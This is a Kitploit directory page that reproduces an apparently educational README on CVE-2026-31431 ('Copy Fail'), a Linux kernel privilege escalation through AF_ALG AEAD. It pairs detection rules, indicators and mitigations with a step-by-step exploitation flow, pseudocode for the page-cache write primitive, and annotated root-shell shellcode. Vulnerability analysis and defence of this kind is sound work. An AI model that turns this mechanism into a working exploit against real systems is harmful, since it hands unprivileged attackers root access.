Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-31431-copyfail — Analisi didattica di CVE-2026-31431, una escalation locale dei privilegi nel kernel Linux tramite l'operazione in-place di AF_ALG AEAD, inclusi causa tecnica di base, rilevamento e mitigazione. | Kitploit
Strumenti/GitHubGitHub/darioomatos/cve-2026-31431-copyfail
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploitPaper e RicercaApprendimento e FormazioneRisorse Curate
GitHubdarioomatos/cve-2026-31431-copyfail

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

cve-2026-31431-copyfail

Analisi didattica di CVE-2026-31431, una escalation locale dei privilegi nel kernel Linux tramite l'operazione in-place di AF_ALG AEAD, inclusi causa tecnica di base, rilevamento e mitigazione.

Vedi Repository
13 mesi faNon ancora revisionato

CVE-2026-31431 — "Copy Fail" 🔐

Analisi tecnica educativa di una delle vulnerabilità più significative del kernel Linux dai tempi di Dirty Pipe (2022).
Questo repository è dedicato a ricerca, studio e difesa. Nessun exploit funzionante viene distribuito qui.


Indice

  • Cos'è?
  • Per i non addetti: l'analogia
  • Cronologia
  • Come funziona tecnicamente
  • Lo shellcode analizzato
  • Confronto con vulnerabilità simili
  • Sistemi interessati
  • Android è interessato?
  • Rilevamento
  • Mitigazione e patch
  • Implementazioni di studio
  • Riferimenti

Cos'è?

CVE-2026-31431, soprannominata Copy Fail, è una vulnerabilità di escalation locale dei privilegi (LPE — Local Privilege Escalation) nel kernel Linux. Consente a qualsiasi utente senza privilegi di ottenere accesso root in pochi secondi.

AttributoValore
CVECVE-2026-31431
Punteggio CVSS7.8 HIGH
TipoLocal Privilege Escalation (LPE)
Sottosistemacrypto/algif_aead.c — AF_ALG
Introdotta inKernel 4.14 (commit 72548b093ee3, luglio 2017)
Corretta in6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d)
Scoperta daTaeyang Lee — Theori / Xint Code
Divulgazione pubblica29 aprile 2026
PoC pubblicoSì — script Python di ~732 byte

Per i non addetti: l'analogia

Immagina che il sistema operativo abbia una memoria di lavoro (chiamata page cache) in cui conserva copie dei file in uso. Quando esegui un programma, il sistema carica quel programma in questa memoria e lo esegue da lì — non direttamente dal disco.

Copy Fail consente a un utente comune di modificare questa copia in memoria di un programma speciale (un binario setuid, come il comando su) senza toccare il file originale sul disco. Il file sul disco rimane intatto, ma quando il programma viene eseguito, il sistema legge la versione corrotta dalla memoria.

È come sostituire la ricetta di un piatto nella memoria di uno chef mentre sta cucinando — il libro di ricette originale non cambia, ma il piatto che esce è completamente diverso.

Il risultato: il programma corrotto esegue codice dell'attaccante con permessi di root.

Ciò che lo rende particolarmente pericoloso:

  • Non c'è finestra di condizione di gara — è deterministico
  • Non lascia tracce sul disco (la forense del disco non lo rileva)
  • Funziona su praticamente tutte le distribuzioni Linux dal 2017
  • L'exploit originale ha solo ~700 byte di Python

Cronologia```

2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)

2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos

2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)

2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017

2026 Abr 22 → CVE-2026-31431 atribuída

2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação

2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos

root@kitploit:~
---

## Come funziona tecnicamente

### Panoramica del flusso```
Atacante (usuário sem privilégios)
    │
    ├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
    │       Cria socket de criptografia no kernel
    │       bind: "authencesn(hmac(sha256),cbc(aes))"
    │
    ├─ 2. setsockopt: define chave AEAD + authsize=4
    │
    ├─ 3. accept() → op_socket
    │
    ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
    │       AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
    │
    ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
    │       CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
    │       As páginas do arquivo agora estão no destino GRAVÁVEL da operação
    │
    ├─ 6. recv() → dispara o authencesn
    │       authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
    │       Escreve 4 bytes em dst[assoclen + cryptlen]
    │       = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
    │       HMAC falha → retorna EBADMSG → IGNORADO
    │
    └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
           Executa o binário alvo → root shell

Root cause: operazione in-place + sg_chain()

Il bug risiede in crypto/algif_aead.c. Nel 2017, l'operazione AEAD è stata convertita in in-place per guadagnare prestazioni:```c // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída

// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA

root@kitploit:~
L'algoritmo `authencesn` usa il buffer di destinazione come *scratch space* per riorganizzare i byte dell'Extended Sequence Number (ESN) dell'IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                       ^^^^^^^^^^^^^^^^^^^^^^^^^
//                                       offset que ultrapassa o output buffer
//                                       e cai nas páginas do page cache encadeadas

Perché non lascia tracce

La scrittura bypassa completamente il VFS. La pagina modificata non viene mai marcata come dirty dal meccanismo di writeback del kernel. Il file su disco rimane intatto. Gli strumenti di integrità basati su hash (aide, tripwire, inotifywait) non rilevano nulla perché monitorano il disco, non la page cache.


Lo shellcode analizzato

L'exploit incorpora un mini-ELF di 160 byte compresso con zlib. Dopo la decompressione, la parte eseguibile è:```nasm ; Offset 0x78 no arquivo ELF (entry point)

xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root

lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)

; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)

bin_sh: db "/bin/sh", 0

root@kitploit:~
**Struttura dell'ELF minimo (160 byte totali):**```
Offset 0x00–0x3F  → ELF64 Header (64 bytes)
                    e_type=ET_EXEC, e_machine=EM_X86_64
                    e_entry=0x400078, e_phnum=1

Offset 0x40–0x77  → Program Header PT_LOAD (56 bytes)
                    p_flags=PF_R|PF_X, p_vaddr=0x400000
                    p_filesz=0x9e

Offset 0x78–0x9D  → Shellcode (26 bytes código + "/bin/sh\0")

Confronto con vulnerabilità simili


Sistemi interessati

Versioni del kernel:

  • Introdotta: Linux 4.14 (luglio 2017)
  • Corretta: 6.18.22, 6.19.12, 7.0

Distribuzioni con exploit funzionanti confermati:

  • Ubuntu 24.04 LTS
  • Amazon Linux 2023
  • Red Hat Enterprise Linux 10.1
  • SUSE Linux Enterprise 16
  • Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux

Condizione necessaria: CONFIG_CRYPTO_USER_API_AEAD=y o =m nel kernel

Verificare se il sistema è esposto:```bash

Verifica se o módulo está disponível

grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

=y → built-in (mais difícil de desabilitar)

=m → módulo carregável (pode ser bloqueado via modprobe)

(ausente) → não afetado

Teste direto (não causa dano, apenas testa acesso):

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "

root@kitploit:~
---

## Android è interessato?

**Risposta breve:** Android standard (AOSP/GKI) **non è vulnerabile nella pratica**, ma i dispositivi con configurazioni non standard meritano una verifica.

### Analisi per prerequisito```
Pré-requisito                 Android AOSP/GKI padrão    Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada       ✅ Sim (Android 12–16)      ✅ Sim
algif_aead habilitado         ❌ Não (fora do GKI)        ⚠️  Possível (OEM config)
AF_ALG acessível a apps       ❌ Bloqueado SELinux+seccomp ⚠️  Depende da policy
Binário setuid disponível     ❌ Android não usa setuid    ⚠️  Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK            ❌ Inviável                  ❌ Inviável
Exploração via ADB shell      ❌ Bloqueado por SELinux     ⚠️  Possível (permissive)

Perché Android è naturalmente protetto

1. CONFIG_CRYPTO_USER_API_AEAD assente nel GKI Google non include questa opzione nel gki_defconfig arm64 standard. Android usa BoringSSL in userspace per la crittografia, non dipende da AF_ALG.

2. SELinux enforcing La domain untrusted_app del SELinux di Android non possiede il permesso create per AF_ALG. La chiamata socket(AF_ALG, SOCK_SEQPACKET, 0) viene negata con EACCES prima di raggiungere il sottosistema di crittografia.

3. Seccomp-bpf Le app Android girano con un filtro seccomp che blocca socket() con domain=AF_ALG — non è nella whitelist delle syscall consentite per le applicazioni di terze parti.

4. Assenza di binari setuid Android non usa il modello setuid del Linux tradizionale. I binari privilegiati usano capabilities specifiche o girano come servizi con UID dedicati. Non esiste /usr/bin/su nelle build di produzione AOSP.

Scenari di rischio su Android

Come verificare un dispositivo Android```bash

Verificar config do kernel

adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD

Verificar modo SELinux

adb shell getenforce

Enforcing = protegido / Permissive = risco potencial

Teste direto (requer adb shell funcional)

adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"

Procurar binários setuid (incomum em Android padrão)

adb shell find /system /vendor -perm -4000 -type f 2>/dev/null

root@kitploit:~
---

## Rilevamento

### Falco (rilevamento in runtime)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
  desc: >
    Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
    toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
  condition: >
    evt.type = socket
    and evt.rawres >= 0
    and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
    and (evt.arg.type = 5 or evt.arg.type = 2053)
    and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
                          integritysetup, kcapi-enc, kcapi-dgst)
  output: >
    AF_ALG AEAD socket por processo suspeito
    (proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [CVE-2026-31431, kernel, privilege_escalation]

Indicatori di compromissione (IoC)```bash

Processo Python que abre AF_ALG seguido de execução de shell

strace de processo suspeito mostrando:

socket(AF_ALG=38, SOCK_SEQPACKET, 0)

bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)

splice(...) ← arquivo → pipe → socket

recvmsg(...)

Seguido de:

setuid(0)

execve("/bin/sh", ...)

Red flags nos logs do sistema:

- Processo não-root com UID transitioning para 0

- python3 como parent de sh/bash

- Sequência socket+splice+recv em processo de usuário comum

root@kitploit:~
### Verificare se il sistema è stato compromesso```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)

# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição

Mitigazione e patch

Opzione 1 — Aggiornare il kernel (consigliato)```bash

Ubuntu / Debian

sudo apt update && sudo apt upgrade linux-image-generic sudo reboot

RHEL / AlmaLinux / Rocky Linux

sudo dnf upgrade kernel sudo reboot

Fedora

sudo dnf upgrade kernel sudo reboot

Arch Linux

sudo pacman -Syu linux sudo reboot

Verificar versão após reboot:

uname -r

Deve ser >= 6.18.22 ou >= 6.19.12 conforme sua série

root@kitploit:~
**Versioni corrette per serie:**

| Serie | Versione corretta |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x  | 6.1.170  |
| 6.6.x  | 6.6.137  |
| 6.12.x | 6.12.85  |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+   | **7.0** (fix incluso) |

### Opzione 2 — Disabilitare algif_aead (workaround temporaneo)

**Se `CONFIG_CRYPTO_USER_API_AEAD=m` (modulo caricabile):**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

Se CONFIG_CRYPTO_USER_API_AEAD=y (integrato — caso RHEL/Rocky/CloudLinux):

⚠️ Il comando sopra non funziona quando il modulo è compilato nel kernel.```bash

Use o initcall_blacklist via grubby:

grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot

Verificar se o mitigation está ativo:

cat /proc/cmdline | grep algif_aead_init

root@kitploit:~
**Confermare che il workaround funzioni:**```bash
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
    print('✅ Mitigação ativa — socket bloqueado')
"

Compatibilità del workaround: Il blocco di algif_aead non influisce su dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Influisce solo sulle applicazioni che usano esplicitamente AF_ALG per AEAD (raro — es: OpenSSL con engine afalg, hardware crypto offload).

Opzione 3 — Seccomp / LSM per ambienti containerizzati```yaml

Perfil seccomp para bloquear AF_ALG em containers:

{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }

root@kitploit:~
---

## Implementazioni di studio

Questo repository documenta il meccanismo dell'exploit in più linguaggi a scopo educativo. L'obiettivo è capire **come** funziona la vulnerabilità, non distribuire strumenti offensivi.

### Struttura del meccanismo (pseudocodice)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
    alg = socket(AF_ALG, SEQPACKET)
    alg.bind("authencesn(hmac(sha256),cbc(aes))")
    alg.set_key(chave_36_bytes)
    alg.set_authsize(4)          ← 4 bytes = tamanho do write primitivo
    op = alg.accept()

    # O segredo: bytes[0:4] vão para posições [4:8] do AAD
    # authencesn lerá isso como seqno_lo e escreverá no page cache
    aad = [0,0,0,0] + bytes      ← [seqno_hi=0][seqno_lo=bytes_desejados]

    op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])

    pipe_r, pipe_w = pipe()
    splice(arquivo → pipe_w, len=offset+4, src_offset=0)
    splice(pipe_r  → op,     len=offset+4)
    # ↑ Injeta page cache na scatterlist do AF_ALG

    op.recv()  ← dispara authencesn → escrita acontece → EBADMSG ignorado

# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
    escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su")  ← agora executa nosso ELF → root

Linguaggi documentati

Il file copyfail_study.md contiene le implementazioni complete e commentate.

Sul payload ELF

Lo shellcode recuperato (dopo la decompressione zlib del PoC) fa:```

  1. setuid(0) → syscall 105 (0x69)
  2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline
  3. exit(0) → syscall 60 (0x3c) — fallback
root@kitploit:~
Total: 26 bytes di codice + 8 bytes di stringa = 34 bytes di shellcode all'interno di un ELF di 160 bytes.

---

## Riferimenti

| Risorsa | Link |
|---|---|
| Writeup originale (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| Sito ufficiale della CVE | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| Repository PoC originale | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| Patch mainline | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipedia | https://en.wikipedia.org/wiki/Copy_Fail |
| Analisi Sysdig + regola Falco | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Analisi Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| FAQ Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| Advisory CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Analisi Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| Discussione OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
| Patch AlmaLinux | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| Patch CloudLinux + analisi workaround | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |

---

## Disclaimer

Questo repository ha **finalità esclusivamente educativa e di ricerca in sicurezza difensiva**. Il contenuto qui presente è destinato a:

- Professionisti della sicurezza offensiva e difensiva
- Ricercatori di vulnerabilità
- Studenti di sicurezza informatica
- Amministratori di sistema che devono comprendere il rischio per mitigarlo

**Non utilizzare queste conoscenze su sistemi senza autorizzazione esplicita del proprietario.** L'accesso non autorizzato a sistemi informatici è un reato in praticamente tutte le giurisdizioni (in Brasile, Legge 12.737/2012 — Legge Carolina Dieckmann; Legge 14.155/2021).

---

*Ultimo aggiornamento: maggio 2026*  
*Contributi benvenuti via PR — mantieni il focus educativo e difensivo.*
Scarica lo strumento
Dirty Cow (2016)Dirty Pipe (2022)Copy Fail (2026)
CVECVE-2016-5195CVE-2022-0847CVE-2026-31431
TipoRace condition in CoWPipe buffer senza flagLogic bug in AEAD
AffidabilitàDipendente dalla race (~ms)DeterministicoDeterministico
Tracce su discoSì (dirty pages)NoNo
PortabilitàAmpiaVersioni specificheUniversale (2017–2026)
Dimensione del PoC~50 righe di C~40 righe di C~10 righe di Python
Sottosistemamm/ (CoW)fs/ (pipe)crypto/ (AF_ALG)
ScopertaManualeManualeAssistita da AI
Finestra di sfruttamentoRace windowNessunaNessuna
ScenarioRischio
Dispositivo con Magisk/KernelSU + SELinux permissiveAlto — tutti i prerequisiti possono allinearsi
Kernel OEM con CONFIG_CRYPTO_USER_API_AEAD=y + eng buildMedio — dipende dall'accesso alla shell
App dannosa su dispositivo non rootatoNessuno — SELinux + seccomp bloccano
ADB su build di produzioneNessuno — adb root non funziona
LinguaggioDescrizione
Python (deoffuscato)Versione pulita e commentata del PoC originale
NASM x86_64Il payload ELF annotato istruzione per istruzione
GoUtilizzo di syscall.RawSyscall6 per SYS_SPLICE e SYS_SETSOCKOPT direttamente
CImplementazione con struct msghdr, CMSG_DATA e zlib runtime